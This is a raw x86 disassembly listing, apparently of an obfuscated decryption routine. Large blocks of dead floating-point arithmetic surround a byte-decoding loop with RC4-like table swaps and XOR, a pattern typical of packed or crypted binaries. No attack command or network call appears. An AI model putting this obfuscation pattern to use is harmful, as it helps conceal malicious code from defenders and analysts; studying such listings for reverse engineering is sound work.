movss xmm0, dword [ebp - 0x290]
comiss xmm0, dword [ebp - 0x238]
jbe 0x476fe0
movss xmm0, dword [ebp - 0x264]
divss xmm0, dword [ebp - 0x340]
movss dword [ebp - 0x264], xmm0
movss xmm0, dword [ebp - 0x264]
subss xmm0, dword [ebp - 0x340]
movss dword [ebp - 0x264], xmm0
movss xmm0, dword [ebp - 0x238]
mulss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x238]
addss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x340]
addss xmm0, dword [ebp - 0x238]
movss dword [ebp - 0x340], xmm0
movss xmm0, dword [ebp - 0x41c]
divss xmm0, dword [ebp - 0x238]
movss dword [ebp - 0x41c], xmm0
movss xmm0, dword [ebp - 0x238]
subss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x41c]
mulss xmm0, dword [ebp - 0x238]
movss dword [ebp - 0x41c], xmm0
movss xmm0, dword [ebp - 0x340]
addss xmm0, dword [ebp - 0x41c]
movss dword [ebp - 0x340], xmm0
movss xmm0, dword [ebp - 0x264]
mulss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x264], xmm0
movss xmm0, dword [ebp - 0x41c]
comiss xmm0, dword [ebp - 0x290]
jbe 0x476de8
movss xmm0, dword [ebp - 0x238]
mulss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x238]
divss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x290]
divss xmm0, dword [ebp - 0x340]
movss dword [ebp - 0x290], xmm0
movss xmm0, dword [ebp - 0x264]
subss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x264], xmm0
movss xmm0, dword [ebp - 0x41c]
addss xmm0, dword [ebp - 0x238]
movss dword [ebp - 0x41c], xmm0
jmp 0x476fdb
movss xmm0, dword [ebp - 0x340]
divss xmm0, dword [ebp - 0x238]
movss dword [ebp - 0x340], xmm0
movss xmm0, dword [ebp - 0x290]
subss xmm0, dword [ebp - 0x41c]
movss dword [ebp - 0x290], xmm0
movss xmm0, dword [ebp - 0x264]
subss xmm0, dword [ebp - 0x340]
movss dword [ebp - 0x264], xmm0
movss xmm0, dword [ebp - 0x238]
mulss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x41c]
divss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x41c], xmm0
movss xmm0, dword [ebp - 0x238]
subss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x238]
mulss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x290]
divss xmm0, dword [ebp - 0x340]
movss dword [ebp - 0x290], xmm0
movss xmm0, dword [ebp - 0x238]
divss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x264]
divss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x264], xmm0
movss xmm0, dword [ebp - 0x41c]
comiss xmm0, dword [ebp - 0x264]
jbe 0x476f63
movss xmm0, dword [ebp - 0x238]
subss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x290]
addss xmm0, dword [ebp - 0x340]
movss dword [ebp - 0x290], xmm0
movss xmm0, dword [ebp - 0x340]
addss xmm0, dword [ebp - 0x41c]
movss dword [ebp - 0x340], xmm0
movss xmm0, dword [ebp - 0x290]
mulss xmm0, dword [ebp - 0x340]
movss dword [ebp - 0x290], xmm0
movss xmm0, dword [ebp - 0x290]
divss xmm0, dword [ebp - 0x340]
movss dword [ebp - 0x290], xmm0
jmp 0x476fdb
movss xmm0, dword [ebp - 0x340]
mulss xmm0, dword [ebp - 0x41c]
movss dword [ebp - 0x340], xmm0
movss xmm0, dword [ebp - 0x238]
divss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x238]
mulss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x238]
subss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x290]
mulss xmm0, dword [ebp - 0x340]
movss dword [ebp - 0x290], xmm0
jmp 0x47706a
movss xmm0, dword [ebp - 0x238]
subss xmm0, dword [ebp - 0x264]
movss dword [ebp - 0x238], xmm0
movss xmm0, dword [ebp - 0x264]
addss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x264], xmm0
movss xmm0, dword [ebp - 0x264]
mulss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x264], xmm0
movss xmm0, dword [ebp - 0x41c]
addss xmm0, dword [ebp - 0x238]
movss dword [ebp - 0x41c], xmm0
movss xmm0, dword [ebp - 0x264]
subss xmm0, dword [ebp - 0x290]
movss dword [ebp - 0x264], xmm0
mov ecx, dword [ebp - 0x3c8]
sub ecx, dword [ebp - 0x3cc]
mov dword [ebp - 0x3d4], ecx
mov edx, dword [ebp - 0x3d0]
shl edx, 4
mov dword [ebp - 0x42c], edx
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x430], eax
mov ecx, dword [ebp - 0x42c]
or ecx, dword [ebp - 0x430]
mov dword [ebp - 0x434], ecx
mov dl, byte [ebp - 0x434]
mov byte [ebp - 0x1bd], dl
movzx eax, byte [ebp - 0x1a5]
mov cl, byte [ebp + eax - 0x1154]
mov byte [ebp - 0x1bf], cl
movsd xmm0, qword [0x582658]
movsd qword [ebp - 0x7ec], xmm0
movsd xmm0, qword [0x582488]
movsd qword [ebp - 0x9e8], xmm0
movsd xmm0, qword [0x581120]
movsd qword [ebp - 0x7b8], xmm0
movsd xmm0, qword [ebp - 0x7ec]
mulsd xmm0, qword [ebp - 0x7b8]
movsd qword [ebp - 0x7ec], xmm0
movsd xmm0, qword [ebp - 0x9e8]
subsd xmm0, qword [ebp - 0x7b8]
movsd qword [ebp - 0x9e8], xmm0
movsd xmm0, qword [ebp - 0x7ec]
mulsd xmm0, qword [ebp - 0x7b8]
movsd qword [ebp - 0x7ec], xmm0
movsd xmm0, qword [ebp - 0x7ec]
comisd xmm0, xmmword [ebp - 0x9e8]
jbe 0x4771c9
movsd xmm0, qword [ebp - 0x7ec]
addsd xmm0, qword [ebp - 0x7b8]
movsd qword [ebp - 0x7ec], xmm0
movsd xmm0, qword [ebp - 0x7b8]
addsd xmm0, qword [ebp - 0x9e8]
movsd qword [ebp - 0x7b8], xmm0
movsd xmm0, qword [ebp - 0x7b8]
mulsd xmm0, qword [ebp - 0x9e8]
movsd qword [ebp - 0x7b8], xmm0
movzx edx, byte [ebp - 0x190]
movzx eax, byte [ebp + edx - 0x1154]
mov dword [ebp - 0x19b0], eax
mov cl, byte [ebp - 0x190]
add cl, 1
mov byte [ebp - 0x190], cl
movzx edx, byte [ebp - 0x19b]
add edx, dword [ebp - 0x19b0]
mov byte [ebp - 0x19b], dl
jmp 0x4772fd
movsd xmm0, qword [ebp - 0x7ec]
subsd xmm0, qword [ebp - 0x9e8]
movsd qword [ebp - 0x7ec], xmm0
movsd xmm0, qword [ebp - 0x7b8]
addsd xmm0, qword [ebp - 0x7ec]
movsd qword [ebp - 0x7b8], xmm0
movsd xmm0, qword [ebp - 0x7b8]
divsd xmm0, qword [ebp - 0x7ec]
movsd qword [ebp - 0x7b8], xmm0
movsd xmm0, qword [ebp - 0x7ec]
subsd xmm0, qword [ebp - 0x9e8]
movsd qword [ebp - 0x7ec], xmm0
movsd xmm0, qword [ebp - 0x9e8]
mulsd xmm0, qword [ebp - 0x7b8]
movsd qword [ebp - 0x9e8], xmm0
movsd xmm0, qword [ebp - 0x7b8]
divsd xmm0, qword [ebp - 0x7ec]
movsd qword [ebp - 0x7b8], xmm0
movsd xmm0, qword [ebp - 0x7ec]
comisd xmm0, xmmword [ebp - 0x7b8]
jbe 0x4772b5
movsd xmm0, qword [ebp - 0x7ec]
mulsd xmm0, qword [ebp - 0x7b8]
movsd qword [ebp - 0x7ec], xmm0
movsd xmm0, qword [ebp - 0x9e8]
divsd xmm0, qword [ebp - 0x7ec]
movsd qword [ebp - 0x9e8], xmm0
movsd xmm0, qword [ebp - 0x9e8]
mulsd xmm0, qword [ebp - 0x7ec]
movsd qword [ebp - 0x9e8], xmm0
jmp 0x4772fd
movsd xmm0, qword [ebp - 0x7b8]
mulsd xmm0, qword [ebp - 0x9e8]
movsd qword [ebp - 0x7b8], xmm0
movsd xmm0, qword [ebp - 0x7b8]
divsd xmm0, qword [ebp - 0x9e8]
movsd qword [ebp - 0x7b8], xmm0
movsd xmm0, qword [ebp - 0x7ec]
addsd xmm0, qword [ebp - 0x7b8]
movsd qword [ebp - 0x7ec], xmm0
movzx eax, byte [ebp - 0x19b]
movzx ecx, byte [ebp - 0x1a5]
mov dl, byte [ebp + eax - 0x1154]
mov byte [ebp + ecx - 0x1154], dl
movzx eax, byte [ebp - 0x19a]
movzx ecx, byte [ebp - 0x19b]
mov dl, byte [ebp + eax - 0x1154]
mov byte [ebp + ecx - 0x1154], dl
movzx eax, byte [ebp - 0x190]
movzx ecx, byte [ebp - 0x19a]
mov dl, byte [ebp + eax - 0x1154]
mov byte [ebp + ecx - 0x1154], dl
movzx eax, byte [ebp - 0x190]
mov cl, byte [ebp - 0x1bf]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x1bf]
movzx eax, byte [ebp + edx - 0x1154]
movzx ecx, byte [ebp - 0x1be]
add ecx, eax
mov byte [ebp - 0x1be], cl
movzx edx, byte [ebp - 0x1bd]
movzx eax, byte [ebp - 0x19b]
movzx ecx, byte [ebp + eax - 0x1154]
movzx eax, byte [ebp - 0x190]
movzx eax, byte [ebp + eax - 0x1154]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1154]
xor edx, ecx
movzx eax, byte [ebp - 0x19a]
movzx ecx, byte [ebp + eax - 0x1154]
movzx eax, byte [ebp - 0x1a5]
movzx eax, byte [ebp + eax - 0x1154]
add ecx, eax
movzx eax, byte [ebp - 0x1be]
movzx eax, byte [ebp + eax - 0x1154]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1154]
movzx eax, byte [ebp + ecx - 0x1154]
xor edx, eax
mov byte [ebp - 0x19a], dl
mov cl, byte [ebp - 0x1bd]
mov byte [ebp - 0x1a5], cl
mov dl, byte [ebp - 0x19a]
mov byte [ebp - 0x1e3], dl
cmp dword [ebp - 0x214], 0
jle 0x47743d
movsx ax, byte [ebp - 0x1e3]
mov ecx, dword [ebp - 0x214]
mov word [ebp + ecx*2 - 0x62], ax
mov edx, dword [ebp - 0x2e8]
add edx, 1
mov dword [ebp - 0x2e8], edx
mov eax, dword [ebp - 0x214]
add eax, 1
mov dword [ebp - 0xd74], eax
jmp 0x47746c
mov ecx, dword [ebp - 0xd74]
add ecx, 1
mov dword [ebp - 0xd74], ecx
mov edx, dword [ebp - 0xd74]
cmp edx, dword [ebp - 0x2e8]
jge 0x477b67
mov eax, dword [ebp - 0x214]
add eax, 1
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x214]
shl ecx, 1
mov dword [ebp - 0x414], ecx
mov edx, dword [ebp - 0x424]
add edx, dword [ebp - 0x414]
movzx eax, byte [edx]
mov dword [ebp - 0x3c0], eax
movss xmm0, dword [0x5829e0]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [0x5829b0]
movss dword [ebp - 0x6e0], xmm0
movss xmm0, dword [0x582968]
movss dword [ebp - 0x420], xmm0
movss xmm0, dword [0x58290c]
movss dword [ebp - 0x730], xmm0
movss xmm0, dword [0x5828ac]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [0x582834]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [0x5827c0]
movss dword [ebp - 0x2c0], xmm0
movss xmm0, dword [ebp - 0x6e0]
subss xmm0, dword [ebp - 0x2c0]
movss dword [ebp - 0x6e0], xmm0
movss xmm0, dword [ebp - 0x294]
addss xmm0, dword [ebp - 0x2c0]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x294]
subss xmm0, dword [ebp - 0x2c0]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x420]
addss xmm0, dword [ebp - 0x2c0]
movss dword [ebp - 0x420], xmm0
movss xmm0, dword [ebp - 0x51c]
addss xmm0, dword [ebp - 0x2c0]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x294]
mulss xmm0, dword [ebp - 0x2c0]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x51c]
mulss xmm0, dword [ebp - 0x2c0]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x2c0]
comiss xmm0, dword [ebp - 0x51c]
jbe 0x47789c
movss xmm0, dword [ebp - 0x294]
mulss xmm0, dword [ebp - 0x2c0]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x51c]
subss xmm0, dword [ebp - 0x294]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x51c]
mulss xmm0, dword [ebp - 0x294]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x420]
addss xmm0, dword [ebp - 0x730]
movss dword [ebp - 0x420], xmm0
movss xmm0, dword [ebp - 0x420]
mulss xmm0, dword [ebp - 0x730]
movss dword [ebp - 0x420], xmm0
movss xmm0, dword [ebp - 0x420]
divss xmm0, dword [ebp - 0x730]
movss dword [ebp - 0x420], xmm0
movss xmm0, dword [ebp - 0x2c0]
divss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x2c0], xmm0
movss xmm0, dword [ebp - 0x294]
mulss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x294]
subss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x2c0]
addss xmm0, dword [ebp - 0x6e0]
movss dword [ebp - 0x2c0], xmm0
movss xmm0, dword [ebp - 0x294]
addss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x51c]
mulss xmm0, dword [ebp - 0x2c0]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x51c]
addss xmm0, dword [ebp - 0x2c0]
movss dword [ebp - 0x51c], xmm0
movss xmm0, dword [ebp - 0x2c0]
divss xmm0, dword [ebp - 0x6e0]
movss dword [ebp - 0x2c0], xmm0
movss xmm0, dword [ebp - 0x51c]
comiss xmm0, dword [ebp - 0x2c0]
jbe 0x4777ef
movss xmm0, dword [ebp - 0x294]
divss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x6e0]
divss xmm0, dword [ebp - 0x730]
movss dword [ebp - 0x6e0], xmm0
movss xmm0, dword [ebp - 0x6e0]
mulss xmm0, dword [ebp - 0x730]
movss dword [ebp - 0x6e0], xmm0
movss xmm0, dword [ebp - 0x294]
subss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x50c]
divss xmm0, dword [ebp - 0x420]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [ebp - 0x6e0]
subss xmm0, dword [ebp - 0x730]
movss dword [ebp - 0x6e0], xmm0
movss xmm0, dword [ebp - 0x2c0]
mulss xmm0, dword [ebp - 0x6e0]
movss dword [ebp - 0x2c0], xmm0
jmp 0x477897
movss xmm0, dword [ebp - 0x420]
subss xmm0, dword [ebp - 0x730]
movss dword [ebp - 0x420], xmm0
movss xmm0, dword [ebp - 0x2c0]
mulss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x2c0], xmm0
movss xmm0, dword [ebp - 0x420]
divss xmm0, dword [ebp - 0x730]
movss dword [ebp - 0x420], xmm0
movss xmm0, dword [ebp - 0x730]
subss xmm0, dword [ebp - 0x51c]
movss dword [ebp - 0x730], xmm0
movss xmm0, dword [ebp - 0x420]
divss xmm0, dword [ebp - 0x730]
movss dword [ebp - 0x420], xmm0
movss xmm0, dword [ebp - 0x2c0]
divss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x2c0], xmm0
movss xmm0, dword [ebp - 0x294]
subss xmm0, dword [ebp - 0x2c0]
movss dword [ebp - 0x294], xmm0
jmp 0x47794e
movss xmm0, dword [ebp - 0x50c]
mulss xmm0, dword [ebp - 0x420]
movss dword [ebp - 0x50c], xmm0
movss xmm0, dword [ebp - 0x294]
subss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x294]
addss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x420]
addss xmm0, dword [ebp - 0x51c]
movss dword [ebp - 0x420], xmm0
movss xmm0, dword [ebp - 0x294]
subss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x294], xmm0
movss xmm0, dword [ebp - 0x2c0]
addss xmm0, dword [ebp - 0x6e0]
movss dword [ebp - 0x2c0], xmm0
movss xmm0, dword [ebp - 0x294]
mulss xmm0, dword [ebp - 0x50c]
movss dword [ebp - 0x294], xmm0
mov dword [ebp - 0x3c4], 0x91
mov ecx, dword [ebp - 0x214]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x428], edx
mov eax, dword [ebp - 0x424]
add eax, dword [ebp - 0x428]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c8], ecx
mov dword [ebp - 0x3cc], 0xe2
mov edx, dword [ebp - 0x3c0]
sub edx, dword [ebp - 0x3c4]
mov dword [ebp - 0x3d0], edx
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x3d4], eax
mov ecx, dword [ebp - 0x3d0]
shl ecx, 4
mov dword [ebp - 0x42c], ecx
mov edx, dword [ebp - 0x3d4]
mov dword [ebp - 0x430], edx
mov eax, dword [ebp - 0x42c]
or eax, dword [ebp - 0x430]
mov dword [ebp - 0x434], eax
mov cl, byte [ebp - 0x434]
mov byte [ebp - 0x1bd], cl
movzx edx, byte [ebp - 0x1a5]
mov al, byte [ebp + edx - 0x1154]
mov byte [ebp - 0x1bf], al
movzx ecx, byte [ebp - 0x190]
movzx edx, byte [ebp + ecx - 0x1154]
mov dword [ebp - 0x1a4c], edx
mov al, byte [ebp - 0x190]
add al, 1
mov byte [ebp - 0x190], al
movzx ecx, byte [ebp - 0x19b]
add ecx, dword [ebp - 0x1a4c]
mov byte [ebp - 0x19b], cl
movzx edx, byte [ebp - 0x19b]
movzx eax, byte [ebp - 0x1a5]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x19a]
movzx eax, byte [ebp - 0x19b]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x190]
movzx eax, byte [ebp - 0x19a]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x190]
mov al, byte [ebp - 0x1bf]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x1bf]
movzx edx, byte [ebp + ecx - 0x1154]
movzx eax, byte [ebp - 0x1be]
add eax, edx
mov byte [ebp - 0x1be], al
movzx ecx, byte [ebp - 0x1bd]
movzx edx, byte [ebp - 0x19b]
movzx eax, byte [ebp + edx - 0x1154]
movzx edx, byte [ebp - 0x190]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1154]
xor ecx, eax
movzx edx, byte [ebp - 0x19a]
movzx eax, byte [ebp + edx - 0x1154]
movzx edx, byte [ebp - 0x1a5]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
movzx edx, byte [ebp - 0x1be]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1154]
movzx edx, byte [ebp + eax - 0x1154]
xor ecx, edx
mov byte [ebp - 0x19a], cl
mov al, byte [ebp - 0x1bd]
mov byte [ebp - 0x1a5], al
mov cl, byte [ebp - 0x19a]
mov byte [ebp - 0x1e3], cl
cmp dword [ebp - 0x214], 0
jle 0x477b62
movsx dx, byte [ebp - 0x1e3]
mov eax, dword [ebp - 0x214]
mov word [ebp + eax*2 - 0x62], dx
jmp 0x47745d
mov ecx, dword [ebp - 0x2e8]
add ecx, 1
mov dword [ebp - 0x2e8], ecx
mov edx, dword [ebp - 0x214]
add edx, 1
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x2e8]
add eax, 1
mov dword [ebp - 0x2e8], eax
mov ecx, dword [ebp - 0x214]
shl ecx, 1
mov dword [ebp - 0x414], ecx
mov edx, dword [ebp - 0x424]
add edx, dword [ebp - 0x414]
movzx eax, byte [edx]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3c4], 0x91
mov ecx, dword [ebp - 0x214]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x428], edx
mov eax, dword [ebp - 0x424]
add eax, dword [ebp - 0x428]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c8], ecx
mov dword [ebp - 0x3cc], 0xe2
mov edx, dword [ebp - 0x3c0]
sub edx, dword [ebp - 0x3c4]
mov dword [ebp - 0x3d0], edx
mov eax, dword [ebp - 0x3c8]
sub eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x3d4], eax
mov ecx, dword [ebp - 0x3d0]
shl ecx, 4
mov dword [ebp - 0x42c], ecx
mov edx, dword [ebp - 0x3d4]
mov dword [ebp - 0x430], edx
mov eax, dword [ebp - 0x42c]
or eax, dword [ebp - 0x430]
mov dword [ebp - 0x434], eax
mov cl, byte [ebp - 0x434]
mov byte [ebp - 0x1bd], cl
movzx edx, byte [ebp - 0x1a5]
mov al, byte [ebp + edx - 0x1154]
mov byte [ebp - 0x1bf], al
movzx ecx, byte [ebp - 0x190]
movzx edx, byte [ebp + ecx - 0x1154]
mov dword [ebp - 0x19b8], edx
mov al, byte [ebp - 0x190]
add al, 1
mov byte [ebp - 0x190], al
movzx ecx, byte [ebp - 0x19b]
add ecx, dword [ebp - 0x19b8]
mov byte [ebp - 0x19b], cl
movzx edx, byte [ebp - 0x19b]
movzx eax, byte [ebp - 0x1a5]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x19a]
movzx eax, byte [ebp - 0x19b]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x190]
movzx eax, byte [ebp - 0x19a]
mov cl, byte [ebp + edx - 0x1154]
mov byte [ebp + eax - 0x1154], cl
movzx edx, byte [ebp - 0x190]
mov al, byte [ebp - 0x1bf]
mov byte [ebp + edx - 0x1154], al
movzx ecx, byte [ebp - 0x1bf]
movzx edx, byte [ebp + ecx - 0x1154]
movzx eax, byte [ebp - 0x1be]
add eax, edx
mov byte [ebp - 0x1be], al
movzx ecx, byte [ebp - 0x1bd]
movzx edx, byte [ebp - 0x19b]
movzx eax, byte [ebp + edx - 0x1154]
movzx edx, byte [ebp - 0x190]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1154]
xor ecx, eax
movzx edx, byte [ebp - 0x19a]
movzx eax, byte [ebp + edx - 0x1154]
movzx edx, byte [ebp - 0x1a5]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
movzx edx, byte [ebp - 0x1be]
movzx edx, byte [ebp + edx - 0x1154]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1154]
movzx edx, byte [ebp + eax - 0x1154]
xor ecx, edx
mov byte [ebp - 0x19a], cl
mov al, byte [ebp - 0x1bd]
mov byte [ebp - 0x1a5], al
mov cl, byte [ebp - 0x19a]
mov byte [ebp - 0x1e3], cl
cmp dword [ebp - 0x214], 0
jle 0x477dd5
movsx dx, byte [ebp - 0x1e3]
mov eax, dword [ebp - 0x214]
mov word [ebp + eax*2 - 0x62], dx
mov ecx, dword [ebp - 0x2e8]
add ecx, 1
mov dword [ebp - 0x2e8], ecx
mov edx, dword [ebp - 0x214]
add edx, 1
mov dword [ebp - 0xd88], edx
jmp 0x477e04
mov eax, dword [ebp - 0xd88]
add eax, 1
mov dword [ebp - 0xd88], eax
mov ecx, dword [ebp - 0xd88]
cmp ecx, dword [ebp - 0x2e8]
jge 0x4786d5
movsd xmm0, qword [0x582778]
movsd qword [ebp - 0x167c], xmm0
movsd xmm0, qword [0x582718]
movsd qword [ebp - 0xc30], xmm0
movsd xmm0, qword [0x581768]
movsd qword [ebp - 0xb5c], xmm0
movsd xmm0, qword [0x582558]
movsd qword [ebp - 0xe1c], xmm0
movsd xmm0, qword [0x582438]
movsd qword [ebp - 0xa28], xmm0
movsd xmm0, qword [0x582318]
movsd qword [ebp - 0x1040], xmm0
movsd xmm0, qword [0x582140]
movsd qword [ebp - 0xa20], xmm0
movsd xmm0, qword [ebp - 0xe1c]
addsd xmm0, qword [ebp - 0xa20]
movsd qword [ebp - 0xe1c], xmm0
movsd xmm0, qword [ebp - 0x1040]
subsd xmm0, qword [ebp - 0xa20]
movsd qword [ebp - 0x1040], xmm0
movsd xmm0, qword [ebp - 0xa28]
addsd xmm0, qword [ebp - 0xa20]
movsd qword [ebp - 0xa28], xmm0
movsd xmm0, qword [ebp - 0xa28]
addsd xmm0, qword [ebp - 0xa20]
movsd qword [ebp - 0xa28], xmm0
movsd xmm0, qword [ebp - 0x1040]
subsd xmm0, qword [ebp - 0xa20]
movsd qword [ebp - 0x1040], xmm0
movsd xmm0, qword [ebp - 0xa28]
subsd xmm0, qword [ebp - 0xa20]
movsd qword [ebp - 0xa28], xmm0
movsd xmm0, qword [ebp - 0xc30]
mulsd xmm0, qword [ebp - 0xa20]
movsd qword [ebp - 0xc30], xmm0
movsd xmm0, qword [ebp - 0x1040]
comisd xmm0, xmmword [ebp - 0xc30]
jbe 0x477ff1
movsd xmm0, qword [ebp - 0xa28]
addsd xmm0, qword [ebp - 0xa20]
movsd qword [ebp - 0xa28], xmm0
movsd xmm0, qword [ebp - 0xa20]
mulsd xmm0, qword [ebp - 0xc30]
movsd qword [ebp - 0xa20], xmm0
movsd xmm0, qword [ebp - 0xa28]
subsd xmm0, qword [ebp - 0xa20]
movsd qword [ebp - 0xa28], xmm0
movsd xmm0, qword [ebp - 0xa28]
divsd xmm0, qword [ebp - 0xa20]
movsd qword [ebp - 0xa28], xmm0
movsd xmm0, qword [ebp - 0x167c]
mulsd xmm0, qword [ebp - 0xb5c]
movsd qword [ebp - 0x167c], xmm0
movsd xmm0, qword [ebp - 0xa20]
addsd xmm0, qword [ebp - 0xc30]
movsd qword [ebp - 0xa20], xmm0
movsd xmm0, qword [ebp - 0xb5c]
addsd xmm0, qword [ebp - 0xa28]
movsd qword [ebp - 0xb5c], xmm0
jmp 0x4780a8
movsd xmm0, qword [ebp - 0xb5c]
addsd xmm0, qword [ebp - 0xe1c]
movsd qword [ebp - 0xb5c], xmm0
movsd xmm0, qword [ebp - 0xb5c]
addsd xmm0, qword [ebp - 0xe1c]
movsd qword [ebp - 0xb5c], xmm0
movsd xmm0, qword [ebp - 0xc30]
addsd xmm0, qword [ebp - 0xb5c]
movsd qword [ebp - 0xc30], xmm0
movsd xmm0, qword [ebp - 0xe1c]
addsd xmm0, qword [ebp - 0xa28]
movsd qword [ebp - 0xe1c], xmm0
movsd xmm0, qword [ebp - 0x167c]
addsd xmm0, qword [ebp - 0xc30]
movsd qword [ebp - 0x167c], xmm0
movsd xmm0, qword [ebp - 0xb5c]
addsd xmm0, qword [ebp - 0xe1c]
movsd qword [ebp - 0xb5c], xmm0
movsd xmm0, qword [ebp - 0xc30]
subsd xmm0, qword [ebp - 0xb5c]
movsd qword [ebp - 0xc30], xmm0
mov edx, dword [ebp - 0x214]
add edx, 1
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x214]
shl eax, 1
mov dword [ebp - 0x414], eax
mov ecx, dword [ebp - 0x424]
add ecx, dword [ebp - 0x414]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c0], edx
mov dword [ebp - 0x3c4], 0x91
mov eax, dword [ebp - 0x214]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x428], ecx
mov edx, dword [ebp - 0x424]
add edx, dword [ebp - 0x428]
movzx eax, byte [edx]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3cc], 0xe2
mov ecx, dword [ebp - 0x3c0]
sub ecx, dword [ebp - 0x3c4]
mov dword [ebp - 0x3d0], ecx
mov edx, dword [ebp - 0x3c8]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x3d4], edx
mov eax, dword [ebp - 0x3d0]
shl eax, 4
mov dword [ebp - 0x42c], eax
mov ecx, dword [ebp - 0x3d4]
mov dword [ebp - 0x430], ecx
mov edx, dword [ebp - 0x42c]
or edx, dword [ebp - 0x430]
mov dword [ebp - 0x434], edx
mov al, byte [ebp - 0x434]
mov byte [ebp - 0x1bd], al
movzx ecx, byte [ebp - 0x1a5]
mov dl, byte [ebp + ecx - 0x1154]
mov byte [ebp - 0x1bf], dl
movzx eax, byte [ebp - 0x190]
movzx ecx, byte [ebp + eax - 0x1154]
mov dword [ebp - 0x19bc], ecx
